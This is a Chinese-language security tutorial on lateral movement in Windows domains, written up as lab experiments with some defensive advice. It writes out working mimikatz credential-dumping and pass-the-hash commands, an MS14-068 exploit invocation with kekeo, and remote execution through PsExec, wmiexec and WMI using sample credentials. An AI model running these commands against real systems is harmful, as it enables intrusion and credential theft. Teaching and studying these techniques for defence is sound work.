<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透基石篇--域內橫向移動分析及防御

    VSole2021-07-18 15:59:03

    前言:你的自信是因為你沒見過世面,因為你沒有和真正的高手對決過。

    一、簡介

    域內橫向移動技術就是在復雜的內網攻擊中被廣泛使用的一種技術,尤其是在高級持續威脅中。攻擊者會利用該技術,以被攻陷的系統為跳板,訪問其他 域內主機,擴大資產范圍(包括跳板機器中的文檔和存儲的憑證,以及通過跳板機器連接的數據庫、域控制器或其他重要資產)。

    1 常用windows 遠程連接和相關命令

    在滲透測試中,拿到目標計算機的用戶明文密碼或者NTLM hash后,可以通過pth的方法,將散列值或明文密碼傳送到目標機器中進行驗證。與目標機器建立連接后,可以使用相關方法在遠程windows 操作系統中執行命令。在多層代理環境進 行滲透測試時,由于網絡條件比較差,無法使用圖形化界面連接主機。此時,可以使用命令行的方式連接主機(最好使用windows自帶的方法對遠程目標系統進行命令行下的操作)

    IPC

    IPC 共享”命名通道”的資源,是為了實現進程間通信而開發的命名通道。IPC可以通過驗證用戶名和密碼獲得權限,通常在遠程管理計算機和查看計算機的共享資源時使用。

    通過ipc$,可以與目標機器建立連接。利用這個連接,不僅可以訪問,目錄機器中的文件,進行上傳,下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息。

    首先,需要建立一個ipc$.

    net use \\ 192.168.100.190\ipc$ “Aa123456@” /user:administrator

    1.ipc$的利用條件

    開啟了139、445端口
    管理員開啟了默認共享

    2.ipc$連接失敗的原因

    用戶名或密碼錯誤
    目標沒用有打開ipc$默認共享
    不能成功連接目標的139、445端口
    命令輸入錯誤

    3.常見錯誤號

    錯誤號5:拒絕訪問
    錯誤號51:windows 無法找到網絡路徑,即網絡中存在的問題。
    錯誤號53:找不到網絡路徑,包括ip地址錯誤、目標未開機、目標的lanmanserver服務未啟動、目標有防火墻。
    錯誤號67:找不到網絡名,包括lanmanworkstation服務未啟動、IPc$已被刪除。
    錯誤號1219:提供的憑據與已存在的憑據集沖突。
    錯誤號1326:未知的用戶名或錯誤的密碼
    錯誤號1792:試圖登錄,但是網絡登錄服務沒用啟動,包括目標NEtLogon服務未啟動
    錯誤號2242: 此用戶的密碼已經過期。

    2 使用windows自帶的工具獲取目標主機信息

    1.dir命令


    dir \\192.168.160.135\C$
    

    查看遠程主機的C盤文件

    2.tasklist命令

    查看遠程主機上運行的進程


    tasklist /S 192.168.160.135 /U HACKBIJI\Administrator /P W2ngluoanquan
    

    3 計劃任務

    1.at命令

    at是windows自帶的用于創建計劃任務的命令,使用at命令可以在遠程目標上創建計劃任務,建立定時任務四部曲如下:

    使用net time 命令確定遠程機器當前的系統時間
    使用copy命令將payload文件復制到遠程目標機器中
    使用at命令定時啟動該payload文件
    刪除使用at命令創建計劃任務的記錄

    (1)查看目標系統時間

    (2)將文件復制到目標系統中

    (3) 使用at創建計劃任務

    (4)清除at記錄

    2.schtasks命令

    schtasks命令比at命令更加強大、靈活。創建計劃任務,該計劃任務在開機時啟動,運行c盤下的calc.bat批處理任務,運行權限是system。

    二、 windows系統散列值獲取分析與防范

    windows操作系統通常會對用戶的明文進行加密處理,在域環境下,用戶信息存儲在ntds.dit中,加密后為散列值。一般看到的都是這樣的結構:


    username:rid:lm-hash:nt-hash
    

    其中lm-hash已經廢棄了,那么黑客要破解的也就是nt-hash,要在windows系統中抓取nt-hash或者明文,必須要system權限。本地用戶名、散列值和其他安全驗證信息都保存在SAM文件中,本文講的是通過幾款不同的工具,分別從內存中(lsass.exe進程)讀取nt-hash或者密碼明文,最后給出了及時更新微軟官方推送的補丁等防范措施。

    1 LM HASh 和NTLM HASH

    2 單機密碼抓取與防范

    1.GETPAss

    下載下來,運行x64位的程序,直接獲得系統所有用戶的密碼,簡直不要太牛。不過,為啥運行后,字體都變成綠色的,這是說學黑客會變綠嗎?

    2.PWnDUMP7

    也是直接運行,稍微遜色一點點,只能拿到Hash,還需要通過彩虹表破解,或者留著以后通過哈希傳遞進行橫向滲透。

    3.通過SAM和System文件抓取密碼

    1.導出SAM和System文件

    2.通關讀取SAM和System 文件獲得NTLMHash

    1.使用mimikatz讀取SAM和Sytstem文件

    2.使用CAin讀取SAM文件

    4.使用mimikatz在線讀取SAM文件

    mimikat是法國技術大神Benjamin Delpy使用C語言寫的一款輕量級系統調試工具,愛了愛了。該工具可以從內存中提取明文密碼、散列值、PIN和K8S票據,還可以執行哈希傳遞、票據傳遞、構建黃金黃金票據。輸入下面命令,直接拿到本地所有用戶的明文密碼,強大。


    mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
    

    5.使用mimikatz離線讀取lsass.dmp文件

    I.導出lsass.dmp文件

    1.使用任務管理器導出lass.dmp文件

    2.使用Procdump和lass.dmp文件

    II.使用mimikatz導出lsass.dmp文件中的密碼散列值

    6.使用powershell對散列值進行DUmp操作

    7.使用Powershell遠程加載mimikatz抓取散列值和明文密碼

    3.單機密碼抓取的防范方法

    安裝微軟發布的KB2871997補丁
    關閉Wdigest功能(Windows Server 2012版本以上默認關閉)

    1.使用reg add命令

    2.使用powershell

    三、 使用hashcat獲取密碼

    kali rolling自帶的密碼破解工具,支持破解windows密碼、linux密碼、office密碼、Wi-Fi密碼、mysql密碼、sql server密碼、以及md5、sha1、sha256等哈希散列~

    原理

    通常訪問一個UNC路徑時,如果沒有指定,Windows會自動用當前用戶的憑證進行NTLM認證,例如dir \\Target\aaa,由于Window會在lsass中緩存hash值,并使用它們進行認證,所以理論上在lsass中添加包含目標賬戶的hash的合法數據結構,就可以在使用類似于dir這些命令時用目標賬戶進行認證

    攻擊方式

    1.獲取一臺域主機高權限
    2.利用mimikatz等工具導出密碼hash
    3.用導出的hash嘗試登陸其他域主機

    1.安裝Hashcat

    (1)下載源碼編譯和安裝

    (2)使用編譯好的二進制文件安裝

    2.hashcat 的使用方法

    (1)指定散列值的類型

    (2)指定破解模式

    (3)常用命令

    -a 3 暴力破解(后面的?d?d?d?d?d?d表示6位數字,屬于暴力破解)
    -m 0 說明需要破解的是MD5
    hashcat -a 3 -m 0 --force e10adc3949ba59abbe56e057f20f883e ?d?d?d?d?d?d
    

    2.批量爆破

    把密碼放到文件中,這種破解叫做字典攻擊,相當于撞庫,只需要6秒,是不是快了一點點。把等待破解的密文放到文件中,可以實現批量破解。我的密碼很簡單:

    a 0 字典模式(后面的pass.txt表示明文密碼文件,也就是需要撞的密碼庫)
    -m 0 說明需要破解的是MD5

    1.用hash值做字典

    2.用密碼做字典

    3.爆破


    hashcat -a 0 -m 0 --force hash.txt pass.txt
    

    4.得到密碼

    3、 如何防范攻擊者抓取明文密碼和散列值

    1.設置Active Directory 2012 R2 功能級別

    2.安裝KB2871997

    3.通過修改注冊表禁止在內存中存儲明文密碼

    4.防御mimikatz攻擊

    4. 哈希傳遞攻擊分析與防范

    1. 哈希傳遞攻擊的概念

    大多數滲透測試人員都聽說過哈希傳遞攻擊,該方法通過找到與賬戶相關的密碼散列值(通常是NTlm hash)來進行攻擊。在域環境中,用戶登錄計算機時使用的大都是域賬號,大量計算機在安裝使用相同的本地管理員賬戶和密碼,因此,如果計算機的本地管理員賬號和密碼也是相同的,攻擊者就能使用哈希傳遞攻擊的方法登錄內網中的其他計算機。

    2 哈希傳遞攻擊分析

    實驗1:使用NTLM Hash進行哈希傳遞

    目標機器的環境(假定的受害者機器)

    域信息:hacke.test
    域內用戶:administrator
    密碼:xxxxx(未知信息)
    哈希:8c0a2bd6****790228ea(已知信息)
    IP地址:192.168.1.2已知信息)

    1.運行mimikatz,彈出cmd命令

    2.彈出cmd命令框

    3.dir看看是否連接

    實驗2:使用AES-256密鑰進行哈希傳遞

    實驗環境:遠程系統(必須安裝KB2871997)

    域信息:hacke.test
    域內用戶:administrator
    密碼:xxxxx(未知信息)
    哈希:8c0a2bd6****790228ea(已知信息)
    IP地址:192.168.1.2已知信息)

    實驗步驟:

    1.mimikatz ‘’privilege::debug” “sekurlsa::ekeys”

    2.在遠程機器,以管理員運行mimikatz


    mimikatz "privilege::debug" "sekurlsa::pth  /user:administrator /domain:hacke.test/aes256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    

    注意事項:

    dir后跟要使用的主機名,而不是ip地址。
    除了aes-256密鑰,aes-128也可以哈希傳遞
    如果安裝了KB2871997,仍然可以使用SID為500的用戶進行哈希傳遞
    如果要使用mimikatz的哈希傳遞功能,需要具有本地管理員權限。

    3 更新KB2871997補丁產生的影響

    微軟 在2014年5月發布了KB2871997.該補丁禁止通過本地管理員權限與遠程計算機進行連接,其后果是,無法通過本地管理員權限對遠程計算機使用psExee,WMi,smbexec、schtasks、at,也無法訪問遠程主機的文件共享等。

    四、票據傳遞攻擊分析與防范

    要想使用mimikatz的哈希傳遞功能,必須具有本地管理員權限。mimikatz同樣提供了不需要本地管理員權限進行橫向滲透測試的方法,例如票據傳遞。

    1. 使用mimikatz進行票據傳遞

    使用橫向移動神器mimikatz可以將內存中的票據導出來,首先在目標機器上以管理員權限運行下面的命令,就可以直接導出一堆不同主機的票據信息(KIRBI文件),從中選擇一個目標系統自己的,移動到黑客機器上。(順便說一下,直接在黑客機器上也能拿到目標機器的票據~)

    在目標機器上以管理員權限,輸入命令,獲得票據
    將票據移動到黑客機器上

    2 使用kekeo進行票據傳遞

    kekeo也是一款開源的票據傳遞工具
    kekeo需要指定域名、用戶名、NTLM哈希來生成票據

    方法:通過kekeo.exe獲取域控權限,此工具并非每次都能成功利用。

    需要擁有一個域賬號的賬號密碼明文


    net group “domain controllers” /domain 獲取主域控地址
    

    使用msf對其漏洞進行檢測,如果漏洞利用成功會生成一個bin文件


    poc:use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
    

    上傳exp至臨時目錄

    klist 列出票據

    klist purge 清除票據


    kekeo.exe “exploit::ms14068 /domain:yiwang.com /user:admin123 /password:admin@AAA… /ptt” “exit”
    

    漏洞利用成功后成功訪問域控c$目錄

    方法二

    防止以msf爆出神奇操作,以msf檢測漏洞為標準的情況所以…

    3 如何防范票據傳遞攻擊

    1,使用dir命令時,務必使用主機名。如果使用ip地址,就會導致錯誤。

    2,票據文件注入內存的默認有效時間為10小時

    3.在目標機器上不需要本地管理員權限即可進行票據傳遞

    五、 PsExec的使用

    1 PsTools 工具包中的PsExec

    如果沒有提前建立好IPC$,PsExec也可以通過指定賬號和密碼的方式,進行遠程連接。


    .\PsExec.exe \\192.168.160.135 -u HACKBIJI\ailx00 -p WoShi@Ailx10 cmd.exe
    

    2 Metasploit中的psexec模塊

    1.use exploit/windows/smb/psexec 模塊。

    2.設置paylaod。

    3.然后執行

    六、 WMI的使用

    1 基本命令

    2 impacket工具包中的wmiexec

    kali → windows server 2012 (成功)
    獲取遠程windows系統的控制權
    不需要輸入域信息
    進入impacket目錄,先執行pip install .安裝依賴
    然后就可以輕松拿到遠程windows server 2012系統的控制權了

    3 weiexec.vbs

    WMIEXEC支持兩種模式,一種是半交互式shell模式,另一種是執行單條命令模式。

    WMIEXEC需要提供賬號密碼進行遠程連接,但是如果沒有破解出賬號密碼,也可以配合WCE的hash注入功能一起使用,先進行hash注入,然后再使用WMIEXEC即可。


    cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
    

    單個命令執行的模式

    這個模式適用于只需要執行一個命令,或者說當前的環境不是交互式shell,沒法運行WMIEXEC的shell模式時(比如在webshell里面)。

    原理

    整個過程是先調用WMI通過賬號密碼或者NTLM認證(WCE注入)連接到遠程計算機,然后如果提供了賬號密碼,則用這個賬號密碼建立一個到目標的IPC連接。隨后WMI會建立一個共享文件夾,用于遠程讀取命令執行結果。

    當用戶輸入命令時,WMI創建進程執行該命令,然后把結果輸出到文件,這個文件位于之前創建的共享文件夾中。最后,通過FSO組件訪問遠程共享文件夾中的結果文件,將結果輸出。當結果讀取完成時,調用WMI執行命令刪除結果文件。最后當WMIEXEC退出時,刪除文件共享。

    由于WMI只負責創建進程,沒有辦法可以判斷命令是否執行完畢,所以腳本采用的方法是延遲1200ms后讀取結果文件,但是如果命令執行的時間大于1200ms,比如systeminfo 或者ping之類的,這時候讀取結果文件會導致讀取的結果不完整,然后在刪除結果文件時會出錯。

    4 invoke-WmiCommand


    //目標系統名$User="pentest/administrator"http://目標系統密碼$Password=ConveetTo-SecureString-String "a123456#" -AsPlainText -Force//將賬號和密碼整合$Cred=New-Object -TypeName System.Management.Automation.PSCredential//遠程執行命令$Remote=Invoke-WmiCommand-Payload {ipconfig}-ComputerName 192.168.100.205//將執行結果輸出到屏幕上$Remote.PayLoadOutput
    

    總結

    本文主要從內網橫向移動出發,研究當拿下一臺主機之后如何使用一些工具來進行橫向移動,擴大攻擊范圍。中間介紹了一些腳本和工具的使用,還做了幾個實驗來理解這些工具,幫助大家學習。



    精彩推薦






    命令模式運行命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    七個殺手級Docker命令
    2023-12-22 15:19:58
    Docker是一個容器化平臺,通過操作系統級別的虛擬化技術,實現軟件的打包和容器化運行。借助Docker,開發人員能夠將應用程序以容器的形式進行部署,但在此之前需要構建Docker鏡像。只要熟悉相關Docker命令,開發人員就能輕松完成所有這些步驟,從而實現應用程序的容器化部署。本文將根據使用場景對 Docker 命令進行分類介紹。1 構建 Docker 鏡像構建 Docker 鏡像需要使用 Do
    本期我們就一起來詳細的了解 思科、華為、H3C、銳銳四家廠商交換機的配置命令
    快速了解 Linux Sudo 高危提權漏洞的研究利用。
    本文僅作為技術討論及分享,嚴禁用于任何非法用途。本文將介紹一個操作瀏覽器進行口令暴破的案例與驗證碼識別工具。Playwright:瀏覽器自動化工具Playwright 是一個強大的 Python 庫,僅用一個 API 即可自動執行 Chromium、Firefox、WebKit 等主流瀏覽器自動化操作,并同時支持以無頭模式、有頭模式運行。Playwright:滑動驗證碼案例生成登錄流程代碼安裝 playwright 后,運行下面命令進行錄制瀏覽器操作,并生成代碼:python -m playwright codegen
    表示為當前容器起一個別名。表示將本機的3344端口映射到nginx鏡像的80端口
    域內橫向移動技術就是在復雜的內網攻擊中被廣泛使用的一種技術,尤其是在高級持續威脅中。攻擊者會利用該技術,以被攻陷的系統為跳板,訪問其他 域內主機,擴大資產范圍(包括跳板機器中的文檔和存儲的憑證,以及通過跳板機器連接的數據庫、域控制器或其他重要資產)。
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    一款針對Ghidra Headless模式的綜合性安全工具
    Snort是一個開源,輕量級的網絡入侵檢測程序,適用于Windows和Linux平臺。Snort可以配置為以三種模式運行:嗅探器模式 -它 從網絡中讀取數據包,并在控制臺(屏幕)上以連續流的形式顯示它們。如果你不這樣做,Snort將退出并顯示一條錯誤消息。如果您只是指定了一個普通的-l開關,您可能會注意到Snort有時使用遠程計算機的地址作為其放置數據包的目錄,有時使用本地主機地址。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类